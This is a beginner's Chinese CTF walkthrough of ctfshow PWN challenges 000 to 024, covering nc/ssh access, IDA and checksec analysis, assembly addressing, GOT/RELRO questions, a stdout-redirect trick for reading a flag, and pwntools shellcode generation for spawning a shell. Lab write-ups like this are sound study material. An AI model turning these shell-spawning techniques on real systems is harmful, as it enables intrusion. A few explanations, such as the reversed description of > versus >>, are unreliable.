[TOC]

前文：以下是我ctfshow的PWN做题记录，欢迎各位前来观看，小弟领教！还有就是ctfshow-pwn是我入门PWN的第一套题，比较基础，看官方writeup可以知道比较简洁，但有些我看不懂，这是我自己做的过程中写的，都是发自内心理解它们的话，有些可能比较啰嗦，但也必须这样，因为站在新手角度来看必须要这种啰嗦方式去理解才能更深刻，有耐心的朋友可以一直看下去，当然也欢迎PWN大佬前来挑战我！！！😄

Test_your_nc

PWN_000

专用虚拟机镜像，全套在这里，提取码show；虚拟机镜像，用户名为ctfshow，密码是ctfshow。

看了课也啥都不会或者工具不会下看这–>CTF Wiki-PWN

解题过程：

ssh连接（记得给虚拟机kali\Ubuntu或者主机设置打开SSH）：

ssh ctfshow@pwn.challenge.ctf.show -pxxxx

一开始会让你输入yes/no的，直接yes，然后输入密码，等进程结束会有个交互shell

用命令ls打开看一下有啥文件，看到有个ctfshow_flag的文件，猜是个装flag的文件夹，直接用cat命令打开就好。注意斜杠/。

PWN_001

题目 ：提供后门函数，连上即可得到flag

这里有用到“nc”连接，可以了解一下，方便后续做题。当然Kali自带nc连接的，你用Kali干PWN也行。

这题送分的，nc连接一下就爆flag了。

不过说实话我是真不知道PWN_001文件给来干嘛的，直接nc交互一下就出flag了，这题没搞懂ctfshow意图在哪。

不过我用了下刚学的指令checksec看了看ELF文件信息，发现是没开canary保护的，可以利用栈溢出漏洞…

可以看到是64位仅关闭Canary保护。

接着用64位IDA打开查看main函数（按F5进入反汇编）：

怪不得直接爆flag出来呢。后门system函数直接运行了。

PWN_002

题目： 给你一个shell，这次需要你自己去获得flag

到这里度过新手期了。

这里需要我们输入指令了，一般来说做题习惯看到这样直接ls秒的，不过像我这样入门级别的还得用IDA琢磨琢磨：

可以看到是没canary保护的

看到这里有个疑问，为什么system有这么大威力？，这次system里边是一个/bin/sh的软链接，很类似我们的文件地址

system("/bin/sh"); 是漏洞利用中获取系统 shell 的核心操作，其工作原理涉及函数调用、系统调用和进程创建三个层次，本质是通过标准库函数 system 启动一个 /bin/sh 进程（即命令行解释器），让攻击者获得交互权限。

system 是 C 标准库（libc）中的函数，原型为：

1

int system(const char *command);

它的功能是执行参数 command 指向的字符串作为系统命令，相当于在终端中输入该命令并执行。

system()函数先fork一个子进程，在这个子进程中调用/bin/sh -c来执行command指定的命令。/bin/sh在系统中一般是个软链接，指向dash或者bash等常用的shell，-c选项是告诉shell从字符串command中读取要执行的命令（shell将扩展command中的任何特殊字符）。父进程则调用waitpid()函数来为变成僵尸的子进程收尸，获得其结束状态，然后将这个结束状态返回给system()函数的调用者。

system("/bin/sh") 的工作原理可简化为： 通过 system 函数创建子进程 → 子进程执行 /bin/sh 程序 → 启动交互式 shell 环境。

这也是漏洞利用中最常用的获取权限的方式 —— 无论通过栈溢出、ROP 还是 ret2libc，最终目标都是让程序执行这条语句（或等效的系统调用）。

PWN_003

题目： 哪一个函数才能读取flag？

通过前面的分析，我们可以很明显的看出来选项”6”为我们所需要的后门函数，其他的均不会得到我们所想要的flag，在system函数里面的命令都是在终端执行的，赋予system权限较大，在我所写的文章里，包括PWN入门知识讲解和操作系统都明确指出SYSTEM是与操作系统内核接触的，比Administrators的权限还要稍大。

直接选6秒了，但除这种送分的，其实还需要搞清运行的逻辑：

跟进一下menu函数里边：

回到main跟进一下这个“6”的函数，看看里头是不是真在执行system后门函数：

可以看到，确实是执行了。那么我们也就能得到我们需要的flag。

PWN_004

题目： 或许需要先得到某个神秘字符

真够阴间的，啥也不给了，才第几道啊就上强度了。

checksec看看，然后IDA反编译看看：

64位二进制保护全开…

可以看到有几个似曾相识的函数：strcpy（复制函数把xx复制给s1，也可起到赋值的作用）、strcmp（比较函数，对比，判断作用）、execve（）；我曾说过汇编语言的cmp就有比较作用，这也算是类比吧，回想起来的，不过用AI搜一下也行。

来说下execve吧，上题讲过system函数，这个也应该知道的：

execve 是 Unix/Linux 系统中最核心的系统调用（system call） 之一，用于在当前进程中加载并执行一个新的程序，替换当前进程的代码、数据和堆栈，实现进程 “变身”。它是所有程序启动和替换的底层基础，包括 system 函数、shell 执行命令等最终都会依赖 execve 完成。

看到这段代码，大致意思是，让s1等于“CTFshowPWN”这段字符串，然后到if判断语句这进行比较：如果s1和s2相等（这里的！不是我们C语言中的“不”的意思啊），就执行execve函数，启动交互权限，从而得到flag。

至此：下一节就开始前置基础了，开始应用PWN-1、PWN-2、PWN-3所学的知识了。

前置基础

PWN_005

题目：运行此文件，将得到的字符串以ctfshow{xxxxx}提交。

如：运行文件后 输出的内容为 Hello_World

提交的flag值为：ctfshow{Hello_World}

注：计组原理题型后续的flag中地址字母大写

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

Welcome_to_CTFshow.asm文本打开后发现是汇编语言文件：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

section .data
    msg db "Welcome_to_CTFshow_PWN", 0

section .text
    global _start

_start:

; 立即寻址方式
    mov eax, 11         ; 将11赋值给eax
    add eax, 114504     ; eax加上114504
    sub eax, 1          ; eax减去1

; 寄存器寻址方式
    mov ebx, 0x36d      ; 将0x36d赋值给ebx
    mov edx, ebx        ; 将ebx的值赋值给edx

; 直接寻址方式
    mov ecx, msg      ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
    mov eax, 4          ; 系统调用号4代表输出字符串
    mov ebx, 1          ; 文件描述符1代表标准输出
    mov ecx, msg        ; 要输出的字符串的地址
    mov edx, 22         ; 要输出的字符串的长度
    int 0x80            ; 调用系统调用

; 退出程序
    mov eax, 1          ; 系统调用号1代表退出程序
    xor ebx, ebx        ; 返回值为0
    int 0x80            ; 调用系统调用

checksec一下这个PWN文件：

ohoh这个保护全关的！IDA的x32位

这个没main函数，那我们回看那段汇编语言asm，这段汇编语言更像是在帮助我们了解汇编语言的逻辑语法规则的，在PWN-1文章中就有讲过汇编语言，这里就直接跳过详解

这题开始就有点变样了，“Welcome_to_CTFshow.asm”这文件是一个存放汇编语言的文本文件，需要运行一下转换成像exe这样的可执行文件，在PWN-1讲过elf文件：

将汇编语言（.asm）文件转换为可执行文件，需要经过汇编（Assemble） 和链接（Link） 两个核心步骤.

在Kali/Linux上下载nasm编辑器：

1

sudo apt install nasm

然后下载ld链接器（通常自带）：

1

sudo apt update && sudo apt install binutils

汇编转换：将 .asm 转换为目标文件（.obj 或 .o）

1

nasm -f elf Welcome_to_CTFshow.asm

汇编生成可执行文件：

1

ld -m elf_i386 -s -o Welcome_to_CTFshow1 Welcome_to_CTFshow.o

（Welcome_to_CTFshow1是可执行文件）

我的建议汇编转换和生成可执行文件的过程都在Kali/Linux/Ubuntu上，比较方便，windows下载比较麻烦。

生成这个可执行文件之后，直接运行就能得到输出结果了，按照题目要求，加个{}包皮去提交就好了。

PWN_006

题目：立即寻址方式结束后eax寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

按照PWN-005那样去转换生成这个可执行文件

汇编转换：将 .asm 转换为目标文件（.obj 或 .o）

1	nasm -f elf Welcome_to_CTFshow.asm

汇编生成可执行文件：

1	ld -m elf_i386 -s -o Welcome_to_CTFshow1 Welcome_to_CTFshow.o

（Welcome_to_CTFshow1是可执行文件）

Welcome_to_CTFshow_PWN???是flag，错了，题目是立即寻址方式结束后eax寄存器的值为？

那就是得把这个转换出的可执行文件放到IDA上，不过之前记得checksec一下看看是x32还是x64位哦…

1
2
3
4

; 立即寻址方式
    mov eax, 11        ; 将11赋值给eax
    add eax, 114504    ; eax加上114504
    sub eax, 1         ; eax减去1

那就加减法咯：11+114504-1=114514

ctfshow{114514}

PWN_007

题目：寄存器寻址方式结束后edx寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

按照上述方法去得出可执行文件，放入IDA：

1
2
3

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

所以ctfshow{0x36D}

PWN_008

题目：直接寻址方式结束后ecx寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2

; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx

当你编译后发现找不到地址[msg]，然后我们倒回来找题目的Welcome_to_CTFshow文件，用IDA：

故flag:ctfshow{0x80490E8}

其实不用去进行编译的，在题目给的文件就能做，编译出来的其实就是题目给的文件。

PWN_009

题目：寄存器间接寻址方式结束后eax寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3

; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

不是80490E8哈别被误导了，这是虚拟地址哦

点击跟进：

dd 636C6557h：dd 是汇编指令中的伪操作符，意为 “定义双字（define double word）”，表示在当前地址处存放一个 4 字节的数值。这里存放的数值是 636C6557h（十六进制）。

flag:ctfshow{0x636C6557}

PWN_010

题目：寄存器相对寻址方式结束后eax寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4

; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

然后我们跟进看一下地址：

也就是这里将msg的地址（0x80490E8）+ 4 处所执向的地址的值赋给eax

4是十进制的，地址是16进制的，记得转换一下：

hex(0x80490E8+4)–> 080490EC

对应地址得值是ome_to_CTFshow_PWN

故flag:ctfshow{ome_to_CTFshow_PWN}

PWN_011

题目：基址变址寻址方式结束后的eax寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4

; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

同样的，放到IDA上找这个基址变址寻址方式：

双击点dword去跟进到地址：

计算最终也是 [0x80490E8 + 2*2 ] = [0X80490EC]

其实也是和PWN_010一样：hex(0x80490E8+4)

就是说hex(0x80490E8 + 2*2 )=0X80490EC，对应的是“ome_to_CTFshow_PWN”。

flag：ctfshow{ome_to_CTFshow_PWN}

PWN_012

题目：相对基址变址寻址方式结束后eax寄存器的值为？

Welcome_to_CTFshow

Welcome_to_CTFshow.asm

1
2
3
4
5

; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

跟进offset dword_80490E8：

那就是：[8 + 0x80490E8 + 1*2 - 6] = [0x80490EC]

故flag:ctfshow{ome_to_CTFshow_PWN}

PWN_013

题目：如何使用GCC？编译运行后即可获得flag PWN_013.c

学过C语言都会安装配置编译器环境的，我这里使用的是visual-studio-code。

这段代码是一个简单的 C 程序，它使用字符数组 flag 存储了一个加密的字符串，并通过 printf函数将其打印出来。

在这段代码中， flag 数组存储了一串整数值，这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符，就可以还原出原始的字符串。

运行该程序， printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零（NULL 字符）， printf 函数会将其之前的字符依次打印，直到遇到 NULL 字符为止。根据给定的整数值数组，还原出的字符串为： ctfshow{hOw_t0_us3_GCC?} 。

PWN_014

题目：请你阅读以下源码，给定key为”CTFshow”，编译运行即可获得flag。 PWN_014.c

这个文件有强度了，直接编译运行会说nothing is here，不给flag，先读一下这个C语言文件在干什么的：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

int main() {
    FILE *fp;                  // 文件指针，用于操作文件
    unsigned char buffer[BUFFER_SIZE];  // 缓冲区，存储从文件读取的二进制数据
    size_t n;                  // 记录每次实际读取的字节数
    fp = fopen("key", "rb");   // 以二进制只读方式打开名为 "key" 的文件

    // 检查文件是否成功打开
    if (fp == NULL) {
        perror("Nothing here!");  // 若打开失败，打印错误信息
        return -1;
    }

    // 输出缓冲区：大小为 BUFFER_SIZE*9 + 12（预留足够空间存储二进制字符串和分隔符）
    char output[BUFFER_SIZE * 9 + 12]; 
    int offset = 0;  // 记录 output 中当前已使用的位置（偏移量）

    // 先在 output 开头写入 "ctfshow{"
    offset += sprintf(output + offset, "ctfshow{");

    // 循环读取文件内容：每次最多读 BUFFER_SIZE 字节，直到文件结束
    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
        // 遍历本次读取的每个字节
        for (size_t i = 0; i < n; i++) {
            // 将当前字节拆分为 8 位二进制（从高位到低位）
            for (int j = 7; j >= 0; j--) {
                // (buffer[i] >> j) & 1：获取第 j 位（0 或 1），并写入 output
                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
            }
            // 除了最后一个字节，每个字节的二进制后加下划线 "_"
            if (i != n - 1) {
                offset += sprintf(output + offset, "_");
            }
        }
        // 若未到文件末尾，在本次缓冲区数据后加空格 " "（分隔不同批次的读取）
        if (!feof(fp)) {
            offset += sprintf(output + offset, " ");
        }
    }

    // 在 output 末尾写入 "}"，完成格式包裹
    offset += sprintf(output + offset, "}");

    // 打印最终生成的字符串
    printf("%s\n", output);
    fclose(fp);  // 关闭文件
    return 0;
}

也就是说我们需要一个名为key的文件，让这个程序知道，然后他就能把flag字符串吐出来了。

1

$ echo "CTFshow"> key  #创建一个名为key得文件，向内输入“CTFshow”的字符串

答案是ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

题目要求在key里加CTFshow字符串，加其它是错的，输出结果不同。

PWN_015

题目：编译汇编代码到可执行文件，即可拿到flag。 flag.asm

汇编转换：将 .asm 转换为目标文件（.obj 或 .o）

1

nasm -f elf flag.asm

汇编生成可执行文件：

1

ld -m elf_i386 -s -o flag1 flag.o

（flag1是可执行文件）

比较简单，和PWN_005很类似，都是汇编语言编译运行之类的。

ctfshow{@ss3mb1y_1s_3@sy}

PWN_016

题目：使用gcc将其编译为可执行文件。 flag.s

1

gcc flag.s -o flag

可以使用 gcc 命令直接编译汇编语言源文件（ .s 文件）并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能，它可以根据输入文件的扩展名自动选择适当的编译器和链接器。

故flag：ctfshow{daniuniuda}

PWN_017

题目：有些命令好像有点不一样？不要一直等，可能那样永远也等不到flag。

比较奇葩的是，这里选择3的话，一直在loading的，可能是不通的，我换到主机的nc也不行，那就是选2进程的

选了2后，程序开始发癫了….，一直循环搞得我Kali虚拟机卡死了，进到IDAx64去看：

这个case2的read函数只读取10字节以内的，也就是说ctfshow_flag（12byte）这串是超字节限制了。不过之前学了那个指令有通配符的cat ctf*（因为当你选择”ls ./“，打开全部文件后，发现只有一个ctfshow_flag时由ctf字眼的，那我们正好可以绕过超字节的限制了）

搜索打开由ctf这串字符的文件内容：

PWN_018

题目：仔细看看源码，或许有惊喜；假作真时真亦假，真作假时假亦真。

连接nc后一上来就问：

这我哪知道啊？去看IDAx64：

分别跟进一下real和fake：

解读一下发现一个机制：当v4不等于9时就会执行real函数，这时real会执行echo 'flag is here'>/ctfshow_flag，这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖的方式写入文件，如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在，那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。也就是说你第一次和靶机交互时没输入9，你以后都不得不到flag了，只能重开靶机…..比较CS吧…

echo 'flag is here'>>/ctfshow_flag这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 » 符号表示以追加的方式写入文件，如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在，那么该命令会在文件的末尾添加 ‘flag is here’ 。

这两个命令都用于将 ‘flag is here’ 写入 /ctfshow_flag 文件中，不同之处在于写入方式的不同。第一个命令使用追加方式，在文件末尾添加内容；第二个命令使用覆盖方式，将文件内容替换为新内容。具体使用哪个命令取决于需求和文件操作的预期结果。也就是所假的其实是我们需要的真的，真的反而是假的在远程环境中，我们需要在第一次读到flag，否则后续得到的flag都已经被覆写再追加，真实的flag内容已经没了。

PWN_019

题目：关闭了输出流，一定是最安全的吗？

在IDA上看到，是由read和system函数的，按道理我直接cat /ctf*应该就出flag了啊…

问题就出在这个fclose函数（确实没辙了，只能用AI解释一下了）作用是关闭文件输出流，标准输出被关闭了（无法显示）。

那还有输入流啊，可以用重定向：1>&0

这是 Linux 的 I/O 重定向语法：

• 1 代表标准输出（stdout）（正常情况下，命令的输出会送到这里，显示在终端）；
• 0 代表标准输入（stdin）（正常情况下，用户输入从这里读取，通常指向终端）；
• 1>&0 表示：将标准输出重定向到标准输入所指向的位置。

因为代码中标准输出被关闭了（无法显示），但标准输入（通常是终端）仍然可用，所以通过这个重定向，cat 命令的输出会被 “转移” 到标准输入对应的终端，从而让内容能显示出来。

简单说就是：正常显示内容的 “输出通道” 被关了，但接收输入的 “输入通道” 还能用。通过 1>&0 把原本该从 “输出通道” 显示的内容，转到 “输入通道” 对应的终端上，这样就能看到 flag 了。ctfshow{a390a91b-5203-46ae-812d-0396de95184f}

本质上是利用了 “输入通道和终端还连着” 这个漏洞，让内容 “借道” 显示出来～。

PWN_020

题目：提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在，则无需写其对应地址

如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

checksec一下：

在这里只开了NX保护。

在PWN-1的Linux安全防护机制这一章的学习中，我们有认识到RELRO这个保护。很显然no RELRO意味着.got和.got.plt表都可写。

用指令查表地址：

1

readelf -S PWN_020

耐心找一下就找到了，故flag:ctfshow{1_1_0x600f18_0x600f28}

PWN_021

题目：提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在，则无需写其对应地址

如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

checksec一下：

要还不记得Relro保护机制原理的就回PWN-1去看吧…

这里是 GOT 表的前半部分（.got.plt）设置为只读，后半部分（.got）仍可写。

用readelf命令去爱看表地址就好了：

flag:ctfshow{0_1_0x600ff0_0x601000}

PWN_021

题目：提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在，则无需写其对应地址

如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

道理一样checksec看relro的保护、readelf看表…..

这次就只有一个.got表了，那就是flag：ctfshow{0_0_0x600fc0}

PWN_023

题目：用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

1

ssh ctfshow@题目地址 -p题目端口号

不是nc连接

没有canary保护，这可以是个突破点：栈溢出漏洞。

看回IDA：

跟进ctfshow函数

可以知道，一开始dgets函数读取flag字符串到内存中

跟进signal函数：

这行代码会将内存中存储的 flag 字符串，输出到标准错误流（stderr）。因为程序启动时已经通过 fgets 从 /ctfshow_flag 文件读取了 flag 内容到 flag 变量中，所以这里能直接打印出正确的 flag。

所以说我们让程序报错也就是让它栈溢出，覆盖后的地址还不能是有效地址，让它全部报错，也就是我们可以输入好多个a就行，几十个a的16进制地址是无效地址。

关于栈溢出这部分，请看PWN-2详细学习，PWN板块占比也是重要的。

逐渐开始上强度了，这时需要仔细看IDA的代码分析了，看看是什么工作原理。

flag：ctfshow{0f207f1f-71bb-4cdd-bdab-7bfb9acde27a}

PWN_024

题目：

你可以使用pwntools的shellcraft模块来进行攻击

我来介绍一下shellcraft模块：它是 pwntools 库中的一个子模块，用于生成各种不同体系结构的 Shellcode（这里的不同体系是我们之前学过的操作系统基础的有关shell的那一章节）有zsh、bash等。Shellcode 是一段以二进制形式编写的代码，用于利用软件漏洞、执行特定操作或获取系统权限。shellcraft 模块提供了一系列函数和方法，用于生成特定体系结构下的Shellcode。

生成的汇编代码可直接通过 asm() 函数转换为机器码（二进制），无需手动处理格式，例如：

1

shellcode = asm(shellcraft.i386.sh())  # 一步完成“汇编模板→机器码”转换，类似C语言的编译器功能，转换成机器语言。

IDA：可以看到这题似乎和ret2shellcode有关

看题目提示，进入新大陆了…用pwntools了。

这里有提示，可以看一下PWN-1-NX保护，有啥启发？

在IDA分析可知，ctfshow函数无法跟进源代码，只能看它的伪代码去分析了（比较长）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

.text:080484C6 ; =============== S U B R O U T I N E =======================================
.text:080484C6
.text:080484C6 ; Attributes: bp-based frame
.text:080484C6
.text:080484C6 ; int __cdecl ctfshow(_DWORD)
.text:080484C6                 public ctfshow
.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf             = byte ptr -88h
.text:080484C6 var_4           = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6                 push    ebp
.text:080484C7                 mov     ebp, esp
.text:080484C9                 push    ebx
.text:080484CA                 sub     esp, 84h
.text:080484D0                 call    __x86_get_pc_thunk_bx
.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB                 sub     esp, 4
.text:080484DE                 push    100h            ; nbytes
.text:080484E3                 lea     eax, [ebp+buf]
.text:080484E9                 push    eax             ; buf
.text:080484EA                 push    0               ; fd
.text:080484EC                 call    _read
.text:080484F1                 add     esp, 10h
.text:080484F4                 sub     esp, 0Ch
.text:080484F7                 lea     eax, [ebp+buf]
.text:080484FD                 push    eax             ; s
.text:080484FE                 call    _puts
.text:08048503                 add     esp, 10h
.text:08048506                 lea     eax, [ebp+buf]
.text:0804850C                 call    eax
.text:0804850E                 nop
.text:0804850F                 mov     ebx, [ebp+var_4]
.text:08048512                 leave
.text:08048513                 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow         endp
.text:08048513
.text:08048514
.text:08048514 ; =============== S U B R O U T I N E =======================================

如果之前是打逆向或者强行入门PWN的话，最坐牢的我相信应该是用IDA吧，除了找明文字符串flag外，你学了汇编语言你也看不懂这是啥意思，感觉一小串源代码转换成汇编语言非常长、枯燥，其实UP主也深有体会，在系统性入门后，也初步知道IDA是怎么用的，这里我把下划线“===== S U B R O U T I N E =====”也复制进来了，按我理解这是函数分界，分隔线上方是前一个函数的结尾（通常以retn指令结束，代表函数返回）过了这条线，说明汇编语言在描述的就是另外一个函数了。也就是说这上下分界线是代表囊括着一个函数，例如这ctfshow函数。

另外我想说的是汇编语言这么长是有道理的，它更像是一种“啰嗦”，它能在每一段代码运行后不断向你汇报地址变化，这种 “啰嗦” 本质上是对计算机底层操作的直接映射，这种特性确实让它在跟踪程序运行细节、分析逻辑和排查问题时具有独特优势。

从这里开始就要用pwntools了，这里介绍一下：

from pwn import * 是在 Python 中使用 pwntools 库的常见导入方式 。pwntools 是一个功能强大的用于二进制漏洞利用（binary exploitation）的 Python 库，在 CTF（Capture The Flag，夺旗赛 ）竞赛、安全研究以及漏洞分析等领域广泛应用，以下是其具体作用：

与目标程序交互

• 本地进程交互：pwntools 能轻松创建本地进程，模拟用户输入、获取程序输出。例如，p = process('./vulnerable_program') 可以启动本地的可执行文件 vulnerable_program，然后通过 p.sendline('input data') 向程序发送数据，用 p.recvuntil('prompt') 接收程序输出直到遇到特定字符串。
• 远程服务器交互：在面对远程存在漏洞的服务时，pwntools 提供了便捷的方法。比如 r = remote('target.com', 8080) 可以连接到 target.com 服务器的 8080 端口，后续同样能发送和接收数据，方便对远程服务进行测试和漏洞利用。

二进制数据处理

• 数据打包和解包：在二进制程序中，经常需要处理不同字节序（大端序、小端序）的数据。pwntools 提供了 pack 和 unpack 函数，比如 p32(0x12345678) 可以将整数 0x12345678 按照小端序打包成 4 字节的二进制数据；u32(data) 则可以将 4 字节的二进制数据按照小端序解包为整数。
• 数据转换：它还支持各种数据格式之间的转换，如将字符串转换为字节串，或者进行十六进制与二进制数据之间的转换等。

辅助漏洞利用

• 生成 Payload：对于缓冲区溢出等漏洞，需要精心构造 Payload（攻击载荷）。pwntools 提供了生成填充数据、构造 ROP（Return-Oriented Programming，返回导向编程 ）链等功能。比如 cyclic(100) 可以生成一个 100 字节的循环模式字符串，用于确定缓冲区溢出的偏移量；通过 ROP 模块可以方便地构建 ROP 链来绕过一些安全机制，实现代码执行。
• 符号解析：在分析二进制程序时，有时需要解析程序中的函数地址、变量地址等。pwntools 可以与 ELF（Executable and Linkable Format，可执行与可链接格式，常用于 Linux 系统中的可执行文件、共享库等 ）文件交互，获取这些符号信息，例如 elf = ELF('./target_binary') 可以加载目标二进制文件，然后通过 elf.symbols['main'] 获取 main 函数的地址。

密码学相关辅助

在 CTF 中，有时会涉及密码学题目，pwntools 也提供了一些基础的密码学辅助功能，比如常见加密算法的简单实现、编码解码等。

多线程和异步支持

pwntools 一定程度上支持多线程和异步操作，这在同时与多个目标程序交互，或者需要在等待程序输出的同时执行其他任务时非常有用。

所以为啥要学Python，当然能用豆包、DeepSeek之类的AI帮你写代码exp，但你得先了解Python再让它写才对的，有时会出错，你得有判断力。

这里推荐使用Pycharm、Visual Studio Code；或者你可以在Kali上用终端来运行，这样你在Kali用nc连接靶机时在同一系统运行交互比较方便，当然Pycharm、Visual Studio Code也有终端功能，只不过要配PWN环境稍微麻烦而已，看你习不习惯用Linux系统吧。

题目后续：

讲得比较啰嗦，这里开始分析这段汇编代码（重新粘贴了一遍，和上面一样）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

.text:080484C6 ; =============== S U B R O U T I N E =======================================
.text:080484C6
.text:080484C6 ; Attributes: bp-based frame
.text:080484C6
.text:080484C6 ; int __cdecl ctfshow(_DWORD)
.text:080484C6                 public ctfshow
.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf             = byte ptr -88h
.text:080484C6 var_4           = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6                 push    ebp
.text:080484C7                 mov     ebp, esp
.text:080484C9                 push    ebx
.text:080484CA                 sub     esp, 84h
.text:080484D0                 call    __x86_get_pc_thunk_bx
.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB                 sub     esp, 4
.text:080484DE                 push    100h            ; nbytes
.text:080484E3                 lea     eax, [ebp+buf]
.text:080484E9                 push    eax             ; buf
.text:080484EA                 push    0               ; fd
.text:080484EC                 call    _read
.text:080484F1                 add     esp, 10h
.text:080484F4                 sub     esp, 0Ch
.text:080484F7                 lea     eax, [ebp+buf]
.text:080484FD                 push    eax             ; s
.text:080484FE                 call    _puts
.text:08048503                 add     esp, 10h
.text:08048506                 lea     eax, [ebp+buf]
.text:0804850C                 call    eax
.text:0804850E                 nop
.text:0804850F                 mov     ebx, [ebp+var_4]
.text:08048512                 leave
.text:08048513                 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow         endp
.text:08048513
.text:08048514
.text:08048514 ; =============== S U B R O U T I N E =======================================

这代码是在看不懂可以上AI嗦一下，让它帮你解析一下，毕竟刚入门……（这段代码是 IDA 反编译出的 32 位 x86 架构程序中ctfshow函数）

checksec一下：记住上面的参数，后面写exp要用…

可知，对这些保护有点遗忘的可以回去看PWN-1的Linux安全保护机制

总结：程序保护机制极弱，直接用 “栈溢出注入 shellcode” 即可，无需复杂绕过。

回到本题目，在nc连接之后交互一会发现并无实际效果，PWN大致思路是找到后门函数或者系统调用函数进行提权，提权之后就进行交互去执行一些靶机的终端命令例如：cat ctfshow_flag、ls之类的。那在此之前都得先找到这“后门”，也就是/bin/sh、zsh、system函数等等，但我发现这个程序并无这些地址存在，所以说这个程序从被制造出来都没想过要执行这些有关提权的代码…..

因为NX、canary没开、又有RWX，注入一段我们设计的有关执行/bin/sh的exp还是可以的，大致思路有了，接下来开始执行吧。

围绕 “直接执行 shellcode” 设计方案

